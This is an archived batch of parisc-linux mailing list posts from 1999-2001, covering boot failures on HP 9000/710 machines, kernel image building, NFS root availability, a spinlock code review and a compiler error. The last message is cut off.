Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416619556 10620 80.91.229.3 (22 Nov 2014 01:25:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:56 +0000 (UTC)
To: bame@riverrock.org, parisc-linux@thepuffingroup.com
Original-X-From: jim@tylerdrive.org  Thu Jan 18 11:09:26 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA10991
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 11:09:26 -0700
Original-Received: (qmail 25903 invoked by uid 15267); 18 Jan 2001 18:12:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25843 invoked from network); 18 Jan 2001 18:12:57 -0000
Original-Received: from 3ff839a7.dsl.flashcom.net (HELO openbsd1.buttafuoco.net) (63.248.57.167)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2001 18:12:57 -0000
Original-Received: (from www@localhost)
	by openbsd1.buttafuoco.net (8.10.1/8.10.1) id f0IICoF19246;
	Thu, 18 Jan 2001 13:12:50 -0500 (EST)
X-Mailer: NeoMail 1.21
X-IPAddress: 63.248.57.155
Xref: news.gmane.org gmane.linux.ports.parisc:9276

Ok,

I tried the uncompressed ramdisk, same results.  I am going to try to 
debug this issue first by putting some debug code in rd.c.  I will keep 
you posted...

ANY more suggestions????

Thanks again
Jim


> = Hi,
> = 
> = I have been trying to get my 2 9000/710's to boot for a couple of 
months
> = now.  Attached is the latest log file from my boot. 
> = 
> = The 2 problems that I see are the ramdisk is NOT seen and the BOOTP
> = fails.  I have used TCPDUMP to look at the packets coming and going 
from
> = the system.  All I see is the RBOOTP stuff.  The ramdisk is valid 
as far
> = as I can tell. (I mounted it via the loop fs).  Should it be 
compressed
> = with ZIP???.
> = 
> = The kernel/palo source is the latest as of 1/17/01.  
> 
> = Loading ramdisk 1544116 bytes @ 0051c000...
> = [...]
> 
> Looks like you're using a compressed ramdisk.  That should work, but
> it's worth trying an uncompressed one.
> 
> = RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 
blocksize
> = 82596.c: MAC of HP700 LAN blindely read from the prom!
> = eth0: Couldn't get consistent shared memory
> = eth0: 82596 at 0xf0826000, 08 00 09 25 DD 7B IRQ 87.
> = 82596.c $Revision: 1.14 $
> = RAMDISK: Couldn't find valid RAM disk image starting at 0.
> 
> Yeah, try an uncompressed ramdisk.  EXT2
> 
> = [...]
> = NET4: Linux TCP/IP 1.0 for NET4.0
> = IP Protocols: ICMP, UDP, TCP
> = IP: routing cache hash table of 512 buckets, 4Kbytes
> = TCP: Hash tables configured (established 2048 bind 2048)
> = Sending BOOTP requests............. timed out!
> = IP-Config: Auto-configuration of network failed.
> = Trying to free nonexistent resource <f0826000-f082600b>
> = NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
> = kmem_create: Forcing size word alignment - nfs_fh
> = Kernel panic: VFS: Unable to mount root fs on 01:00
> 
> No clue about your bootp problem...
> 
> 	-P
> 
> ----------------------------------------------------------------------
-----
> To unsubscribe: send e-mail to parisc-linux-
request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 
> 



From - Thu Nov 08 21:15:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Creating a bootable image.
Date: Tue, 1 Jun 1999 09:16:01 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <19990601091601.A6399@suse.de>
References: <Pine.LNX.3.96.990601002832.8814F-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619557 10644 80.91.229.3 (22 Nov 2014 01:25:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@redhat.com>
Original-X-From: prumpf@suse.de  Tue Jun  1 01:16:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA07713
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Jun 1999 01:16:20 -0600
Original-Received: (qmail 9336 invoked by uid 15267); 1 Jun 1999 07:15:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9326 invoked from network); 1 Jun 1999 07:15:38 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 1 Jun 1999 07:15:38 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 9087632CE4; Tue, 01 Jun 1999 09:16:16 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 610089410; Tue,  1 Jun 1999 09:16:16 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id CC7087F8B; Tue,  1 Jun 1999 09:16:01 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <Pine.LNX.3.96.990601002832.8814F-100000@devserv.devel.redhat.com>; from Alex deVries on Tue, Jun 01, 1999 at 12:33:05AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9277

> I'm mailing this because I'm not entirely sure what I'm doing is correct.

Neither am I, but arch/parisc/hp/boot/README seems to say something different.

> The way I understand it, the kernel we cross compile on Linux is in fact
> a broken ELF32 file, which doesn't really matter, because at this point we
> don't need the kernel to have any loader information itself. 

I think we should build a binary image of the kernel (that is not ELF) like
we do for x86.

> However, to actually boot you need IPL, which requires SOM linking, so
> that much must be done on HPUX.

This I do not understand. According to arch/parisc/hp/boot/README, the IPL is
stored in a special binary format which we could generate from ELF like we
do for the kernel image.

> and it'll create a kernel and boot header that should just boot right
> away.  That way to do kernel work (and not bootstrap work), you don't need
> HPUX at all.

I think the vast majority of parisc boxes runs HP-UX at the moment so it
probably would not be a big win.

	Philipp Rumpf


From - Thu Nov 08 21:15:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Phillip D. Beal" <pdbeal@louisville.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NFS Root / System
Date: Thu, 18 Jan 2001 13:53:21 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20010118135321.A113814@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619557 10879 80.91.229.3 (22 Nov 2014 01:25:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pdbeal@louisville.edu  Thu Jan 18 11:52:23 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA12139
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 11:52:21 -0700
Original-Received: (qmail 7968 invoked by uid 15267); 18 Jan 2001 18:56:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7944 invoked from network); 18 Jan 2001 18:56:02 -0000
Original-Received: from erouter1.it-datacntr.louisville.edu (136.165.1.15)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2001 18:56:02 -0000
Original-Received: from athena.louisville.edu (athena.louisville.edu [136.165.1.37])
	by erouter1.it-datacntr.louisville.edu (Postfix) with ESMTP id 54882237FF
	for <parisc-linux@thepuffingroup.com>; Thu, 18 Jan 2001 13:53:54 -0500 (EST)
Original-Received: by athena.louisville.edu (Postfix, from userid 43478)
	id F2DD7C60; Thu, 18 Jan 2001 13:53:21 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:9278

Hey,

Is there a new version of the NFS root system?  The latest I've found
was by stealing the filesystem from the palo-0.5 cd image, and before
that was from 20000915, I think....   Also, does anyone know where I can
find apt-get for binary-hppa?  Or the source to attempt to compile it?

Thanks,
-- 
Phillip Beal                           ___           _               _   
Electrical and Computer Engineering   | _ ) ___ __ _| |___  _ _  ___| |_ 
pdbeal@louisville.edu                 | _ \/ -_) _` | |_ /_| ' \/ -_)  _|
http://www.bealz.net/                 |___/\___\__,_|_/__(_)_||_\___|\__|


From - Thu Nov 08 21:15:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NFS Root / System
Date: Thu, 18 Jan 2001 12:13:57 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <m14JKVR-001Vp3C@chalet>
References: <20010118135321.A113814@athena.louisville.edu>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619557 10883 80.91.229.3 (22 Nov 2014 01:25:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Phillip D. Beal" <pdbeal@louisville.edu>
Original-X-From: bame@bame.riverrock.org  Thu Jan 18 12:11:39 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA12612
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 12:11:33 -0700
Original-Received: (qmail 9877 invoked by uid 15267); 18 Jan 2001 19:15:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9841 invoked from network); 18 Jan 2001 19:15:06 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2001 19:15:06 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp
	id <m14JKVR-001Vp3C@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Thu, 18 Jan 2001 12:13:57 -0700 (MST) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Thu, 18 Jan 2001 13:53:21 EST."
             <20010118135321.A113814@athena.louisville.edu>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:9279

= Hey,
= 
= Is there a new version of the NFS root system?  The latest I've found
= was by stealing the filesystem from the palo-0.5 cd image, and before
= that was from 20000915, I think....   Also, does anyone know where I can
= find apt-get for binary-hppa?  Or the source to attempt to compile it?

There's no newer NFS root right now, though a new one is probably
coming.  I've mostly been updating using the .debs at
ftp://puffin.external.hp.com/pub/ including the apt-get one.

Please be aware that we will likely totally break binary compatibility
someday, and may not have a user-friendly upgrade path :-)

	-P


From - Thu Nov 08 21:15:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The Art Of Locking
Date: Thu, 18 Jan 2001 19:24:52 +0000
Lines: 50
Approved: news@gmane.org
Message-ID: <20010118192452.E29531@parcelfarce.linux.theplanet.co.uk>
References: <200101181825.LAA11489@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619557 10888 80.91.229.3 (22 Nov 2014 01:25:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Thu Jan 18 12:21:12 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA13058
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 12:21:11 -0700
Original-Received: (qmail 27270 invoked by uid 15267); 18 Jan 2001 19:24:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27254 invoked from network); 18 Jan 2001 19:24:53 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2001 19:24:53 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14JKg0-0000xw-00
	for parisc-linux@thepuffingroup.com; Thu, 18 Jan 2001 19:24:52 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101181825.LAA11489@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Thu, Jan 18, 2001 at 11:25:24AM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9280

On Thu, Jan 18, 2001 at 11:25:24AM -0700, Grant Grundler wrote:
> Log message:
> First cut of CONFIG_SMP support. Default is disabled and my C3k
> still boots/works that way. With CONFIG_SMP=y, hangs after kswapd
> msg. Willy tells me that's the first place semaphores are used.

I'm reviewing this code for Grant.  He's kindly allowed me to point out 
the flaws publically for the benefit of all.

First, Rusty has written an excellent document on locking in
Documentation/Docbook/kernel-locking.tmpl.  You can turn this into a
pdf with `make pdfdocs' (other formats are also available).

Here's the code grant wrote in irq.c:

spinlock_t irq_lock = SPIN_LOCK_UNLOCKED;  /* protect IRQ regions */
[...]
        for (regnr = 0; regnr < NR_IRQ_REGS; regnr++) {
           spin_lock_irqsave(&irq_lock, flags);
            region = irq_region[regnr];
           if (!region || !region->action) {
               spin_unlock_irqrestore(&irq_lock, flags);
                continue;
           }
[...]
           spin_unlock_irqrestore(&irq_lock, flags);
       }

The first thing is the use of spin_lock_irqsave.  This disables local
interrupts and takes the spinlock.  However, this code can't be called
from interrupt context, and nor can any of the other places which take
this lock.  So there's no need to disable local irqs.  We _are_ messing
with the irq tables at this point (though read-only), but that either means
that we have to do a _global_ interrupt disable (which is bad and slow)
or it was ok anyway.  Since this is read only, I assert that there's no
need to disable local irqs, so we can use the spin_lock() function
instead of spin_lock_irqsave.

Next, the lock is taken and released at each iteration.  Why not take it
outside the loop body?  Well, one reason might be to reduce latency --
if other people are sleeping on that lock, they should be given a chance.
But the other people who use this lock are free_irq and request_irq --
hardly important latency-wise sincethey're almost always called at device
driver initialisation (bootup or module load/unload).

Finally, it's not declared `static', yet it's only used within this file.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The Art Of Locking
Date: Thu, 18 Jan 2001 11:59:14 -0800
Lines: 40
Approved: news@gmane.org
Message-ID: <200101181959.LAA14539@milano.cup.hp.com>
References: <20010118192452.E29531@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619558 10891 80.91.229.3 (22 Nov 2014 01:25:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Thu Jan 18 12:53:40 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA13730
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 12:53:40 -0700
Original-Received: (qmail 20364 invoked by uid 15267); 18 Jan 2001 19:57:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20352 invoked from network); 18 Jan 2001 19:57:25 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2001 19:57:25 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 686621798; Thu, 18 Jan 2001 11:57:23 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA14539;
	Thu, 18 Jan 2001 11:59:17 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 18 Jan 2001 19:24:52 PST."
             <20010118192452.E29531@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:9281

Matthew Wilcox wrote:
...
> I'm reviewing this code for Grant.  He's kindly allowed me to point out 
> the flaws publically for the benefit of all.

yup...overall willy pointed out some good things.
Let me correct a few nits though.

> The first thing is the use of spin_lock_irqsave.  This disables local
> interrupts and takes the spinlock.  However, this code can't be called
> from interrupt context, and nor can any of the other places which take
> this lock.  So there's no need to disable local irqs.

Agreed. I've fixed that and added a test to warn us in case request_irq()
or free_irq() are called from the interrupt context.

> Since this is read only, I assert that there's no
> need to disable local irqs, so we can use the spin_lock() function
> instead of spin_lock_irqsave.

Not quite correct. The lock is needed to protect the read-only traversing
of a linked list. We can leave local interrupts enabled though for
above reasons though.

...
> Finally, it's not declared `static', yet it's only used within this file.

It's used in:
    fs/proc/proc_misc.c:extern int get_irq_list(char *);
    fs/proc/proc_misc.c:  int len = get_irq_list(page);

Each arch has to provide this entry point.

thanks though for the other good points!
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit "Internal compiler error" emit-rtl.c:1560
Date: Thu, 18 Jan 2001 12:25:02 -0800 (PST)
Lines: 40
Approved: news@gmane.org
Message-ID: <200101182025.MAA14682@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619558 10895 80.91.229.3 (22 Nov 2014 01:25:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Jan 18 13:19:24 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA14516
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 13:19:24 -0700
Original-Received: (qmail 2077 invoked by uid 15267); 18 Jan 2001 20:23:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2065 invoked from network); 18 Jan 2001 20:23:08 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2001 20:23:08 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 93584CF4
	for <parisc-linux@thepuffingroup.com>; Thu, 18 Jan 2001 12:23:07 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id MAA14682
	for parisc-linux@thepuffingroup.com; Thu, 18 Jan 2001 12:25:02 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:9282


Hi toolchain experts,

I'm working on kernel CONFIG_SMP support and can't compile a 64-bit kernel.
32-bit toolchain builds and links a (buggy) kernel.
Using the xc-20010117.tar.gz provided by Matt in both cases.

Any clues what's wrong?

thanks,
grant

Enabled CONFIG_SMP with the following sequence:
    cvs update -A
    vi Makefile		# set ARCH=parisc64 and CROSS_COMPILE=hppa64-linux-
    make oldconfig
    vi .config		# set CONFIG_SMP=y
    make oldconfig
    make -j4 dep

and then:

grundler <576>make palo
make: Circular /linux/smp64/linux/include/asm/smp.h <- /linux/smp64/linux/include/linux/sched.h dependency dropped.
hppa64-linux-gcc -D__KERNEL__ -I/linux/smp64/linux/include -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -fno-strict-aliasing -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -mschedule=7200 -fno-strict-aliasing -ffunction-sections   -c -o init/main.o init/main.c
In file included from /linux/smp64/linux/include/linux/fs.h:12,
                 from /linux/smp64/linux/include/linux/capability.h:17,
                 from /linux/smp64/linux/include/linux/binfmts.h:5,
                 from /linux/smp64/linux/include/linux/sched.h:9,
                 from /linux/smp64/linux/include/linux/mm.h:4,
                 from /linux/smp64/linux/include/linux/slab.h:14,
                 from /linux/smp64/linux/include/linux/malloc.h:4,
                 from /linux/smp64/linux/include/linux/proc_fs.h:5,
                 from init/main.c:15:
/linux/smp64/linux/include/linux/wait.h:129: Internal compiler error in operand_subword_force, at emit-rtl.c:1560
   Please submit a full bug report.
   See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
make: *** [init/main.o] Error 2
grundler <577>


From - Thu Nov 08 21:15:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The Art Of Locking
Date: Thu, 18 Jan 2001 20:05:43 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20010118200543.G29531@parcelfarce.linux.theplanet.co.uk>
References: <20010118192452.E29531@parcelfarce.linux.theplanet.co.uk> <200101181959.LAA14539@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619558 10898 80.91.229.3 (22 Nov 2014 01:25:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:58 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Thu Jan 18 13:28:24 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA14862
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 13:28:23 -0700
Original-Received: (qmail 19065 invoked by uid 15267); 18 Jan 2001 20:32:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19046 invoked from network); 18 Jan 2001 20:32:08 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2001 20:32:08 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14JLJX-0001f9-00; Thu, 18 Jan 2001 20:05:43 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101181959.LAA14539@milano.cup.hp.com>; from grundler@cup.hp.com on Thu, Jan 18, 2001 at 11:59:14AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9283

On Thu, Jan 18, 2001 at 11:59:14AM -0800, Grant Grundler wrote:
> > Finally, it's not declared `static', yet it's only used within this file.
> 
> It's used in:
>     fs/proc/proc_misc.c:extern int get_irq_list(char *);
>     fs/proc/proc_misc.c:  int len = get_irq_list(page);

I'm sorry for being ambiguous.  I meant that the spin_lock should be
static, not the function.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting a 710 (bushmaster)
Date: Thu, 18 Jan 2001 20:34:20 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20010118203419.A28638@linuxcare.com>
References: <200101181812.f0IICoF19246@openbsd1.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619559 10902 80.91.229.3 (22 Nov 2014 01:25:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jim Buttafuoco <jim@tylerdrive.org>
Original-X-From: rhirst@linuxcare.com  Thu Jan 18 13:39:54 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA15511
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 13:39:53 -0700
Original-Received: (qmail 7200 invoked by uid 15267); 18 Jan 2001 20:43:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7190 invoked from network); 18 Jan 2001 20:43:39 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2001 20:43:39 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 5A8CAB005; Thu, 18 Jan 2001 20:34:20 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200101181812.f0IICoF19246@openbsd1.buttafuoco.net>; from jim@tylerdrive.org on Thu, Jan 18, 2001 at 01:12:50PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:9284

On Thu, Jan 18, 2001 at 01:12:50PM -0500, Jim Buttafuoco wrote:
> Ok,
> 
> I tried the uncompressed ramdisk, same results.  I am going to try to 
> debug this issue first by putting some debug code in rd.c.  I will keep 
> you posted...
> 
> ANY more suggestions????

Sounds more likely a network driver problem.  Can you boot with
i596_debug=0xffff and send me the output.  If that doesn't generate
lots of extra output, change the value of i596_debug in
drivers/net/lasi_82596.c and try again.

Richard


From - Thu Nov 08 21:15:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting a 710 (bushmaster)
Date: Thu, 18 Jan 2001 20:52:06 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <20010118205206.B28638@linuxcare.com>
References: <200101181517.f0IFHOs08538@openbsd1.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619559 10905 80.91.229.3 (22 Nov 2014 01:25:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jim Buttafuoco <jim@tylerdrive.org>
Original-X-From: rhirst@linuxcare.com  Thu Jan 18 13:57:37 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA15942
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 13:57:36 -0700
Original-Received: (qmail 6820 invoked by uid 15267); 18 Jan 2001 21:01:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6793 invoked from network); 18 Jan 2001 21:01:21 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2001 21:01:21 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A109CB005; Thu, 18 Jan 2001 20:52:06 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200101181517.f0IFHOs08538@openbsd1.buttafuoco.net>; from jim@tylerdrive.org on Thu, Jan 18, 2001 at 10:17:24AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:9285

On Thu, Jan 18, 2001 at 10:17:24AM -0500, Jim Buttafuoco wrote:
> Hi,
> 
> I have been trying to get my 2 9000/710's to boot for a couple of months
